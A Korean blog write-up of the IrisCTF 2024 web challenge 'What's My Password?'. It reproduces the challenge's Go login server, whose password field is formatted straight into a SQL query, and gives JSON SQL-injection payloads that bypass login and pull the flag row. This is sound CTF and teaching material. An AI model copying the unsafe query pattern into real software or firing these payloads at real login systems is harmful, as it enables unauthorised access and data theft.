[CTF Writeup / Web] IrisCTF 2024 - What's My Password?
[CTF Writeup] IrisCTF 2024 - [WEB] What's My Password?
안녕하세요. 이번 포스팅은 2024.01.06(토) 9시부터 진행된 IrisCTF 2024의 WEB 문제 What's My Password? Writeup 입니다.
문제 URL에 접근하면 로그인 화면이 보입니다.
package main
import (
"database/sql"
"encoding/json"
"fmt"
"net/http"
"os"
"os/signal"
"regexp"
"syscall"
_ "github.com/go-sql-driver/mysql"
)
var DB *sql.DB
var Mux = http.NewServeMux()
var UsernameRegex = `[^a-z0-9]`
type Account struct {
Username string `json:"username"`
Password string `json:"password"`
}
func startWeb() {
fmt.Println("Starting very secure login panel (promise)")
fs := http.FileServer(http.Dir("/home/user/web"))
Mux.Handle("/", fs)
Mux.HandleFunc("/api/login", func(w http.ResponseWriter, r *http.Request) {
if r.Method != http.MethodPost {
w.WriteHeader(http.StatusMethodNotAllowed)
return
}
var input Account
decoder := json.NewDecoder(r.Body)
decoder.Decode(&input)
if input.Username == "" {
w.WriteHeader(http.StatusBadRequest)
w.Write([]byte("Missing Username"))
return
}
if input.Password == "" {
w.WriteHeader(http.StatusBadRequest)
w.Write([]byte("Missing Password"))
return
}
matched, err := regexp.MatchString(UsernameRegex, input.Username)
if err != nil {
w.WriteHeader(http.StatusInternalServerError)
return
}
if matched {
w.WriteHeader(http.StatusBadRequest)
w.Write([]byte("Username can only contain lowercase letters and numbers."))
return
}
qstring := fmt.Sprintf("SELECT * FROM users WHERE username = \"%s\"" + \
" AND password = \"%s\"", input.Username, input.Password)
query, err := DB.Query(qstring)
if err != nil {
w.WriteHeader(http.StatusInternalServerError)
fmt.Println(err)
return
}
if !query.Next() {
w.WriteHeader(http.StatusUnauthorized)
w.Write([]byte("Invalid username / password combination!"))
return
}
var result Account
err = query.Scan(&result.Username, &result.Password)
if err != nil {
w.WriteHeader(http.StatusInternalServerError)
fmt.Println(err)
return
}
encoded, err := json.Marshal(result)
if err != nil {
w.WriteHeader(http.StatusInternalServerError)
fmt.Println(err)
return
}
w.Write(encoded)
})
http.ListenAndServe(":1337", Mux)
}
func main() {
fmt.Println("Establishing connection to MySql")
db, err := sql.Open("mysql", "readonly_user:password@tcp(127.0.0.1:3306)/uwu")
if err != nil {
fmt.Println(err)
return
}
DB = db
defer DB.Close()
startWeb()
sigChan := make(chan os.Signal, 1)
signal.Notify(sigChan, syscall.SIGINT, syscall.SIGTERM)
<-sigChan
}
제공된 소스코드 중 main.go 파일 내용입니다.
matched, err := regexp.MatchString(UsernameRegex, input.Username)
qstring := fmt.Sprintf("SELECT * FROM users WHERE username = \"%s\" AND password = \"%s\"", input.Username, input.Password)
그 중 위 코드 부분을 보면, Username만 입력값 검증을 하고 Password는 쿼리문에 그대로 들어갑니다.
{
"username":"admin",
"password":"admin\"||1 limit 0,1-- a"
}
이렇게 요청을 하면 로그인은 성공하지만, flag가 보이지 않습니다.
{
"username":"admin",
"password":"admin\"||1 limit 1,1-- a"
}
두 번째 행의 값을 가져오면 비밀번호의 플래그가 있습니다. 이번 문제는 간단한 SQL Injection이라서 쉬운 문제였습니다.



댓글
댓글 쓰기